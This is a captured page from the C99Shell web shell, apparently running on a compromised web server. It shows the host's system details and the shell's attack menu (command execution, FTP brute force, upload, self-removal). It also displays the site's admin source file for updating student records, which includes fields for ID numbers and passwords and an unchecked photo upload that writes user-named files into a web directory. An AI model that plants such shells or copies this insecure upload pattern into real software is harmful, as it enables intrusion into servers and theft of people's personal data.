!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/admin/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update_student.php (2.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include 'connect.php';

if (
$_SERVER['REQUEST_METHOD'] === 'POST') {
    
$id $_POST['ID'];

    
// Prepare data
    
$fields = [
        
'branch''enrollment''name''fatherName''motherName''aadhar''year',
        
'course''batchtime''language''courseduration''batchNo''dob''gender',
        
'category''address''city''district''pincode''mobile''email',
        
'session''password''mobile2''course_fees''certificate_issue_date',
        
'reg_date''reg_month''reg_year'
    
];

    
$updateFields = [];
    
$values = [];

    foreach (
$fields as $field) {
        
$updateFields[] = "$field=?";
        
$values[] = $_POST[$field];
    }

    
// ✅ Ensure course is inserted into 'courses' table if not exists
    
$course $_POST['course'];
    
$checkCourse $conn->prepare("SELECT COUNT(*) FROM courses WHERE course_name = ?");
    
$checkCourse->bind_param("s"$course);
    
$checkCourse->execute();
    
$checkCourse->bind_result($courseCount);
    
$checkCourse->fetch();
    
$checkCourse->close();

    if (
$courseCount == && !empty($course)) {
        
$insertCourse $conn->prepare("INSERT INTO courses (course_name) VALUES (?)");
        
$insertCourse->bind_param("s"$course);
        
$insertCourse->execute();
        
$insertCourse->close();
    }

    
// Handle photo upload
    
if (isset($_FILES['photo']) && $_FILES['photo']['error'] === UPLOAD_ERR_OK) {
        
$filename basename($_FILES["photo"]["name"]);
        
$target_dir "../data/files/";
        
$target_file $target_dir $filename;
        
move_uploaded_file($_FILES["photo"]["tmp_name"], $target_file);
        
$updateFields[] = "photo=?";
        
$values[] = $filename;
    }

    
// Finalize statement
    
$values[] = $id;
    
$types str_repeat("s"count($values) - 1) . "i";

    
$sql "UPDATE admission SET " implode(', '$updateFields) . " WHERE ID=?";
    
$stmt $conn->prepare($sql);

    if (!
$stmt) {
        die(
"Prepare failed: (" $conn->errno ") " $conn->error);
    }

    
$stmt->bind_param($types, ...$values);

    if (
$stmt->execute()) {
        echo 
"Student record updated successfully.<br><a href='update_registraion.php'>Back to List</a>";
    } else {
        echo 
"Error updating record: " $stmt->error;
    }

    
$stmt->close();
    
$conn->close();
} else {
    echo 
"Invalid request.";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0013 ]--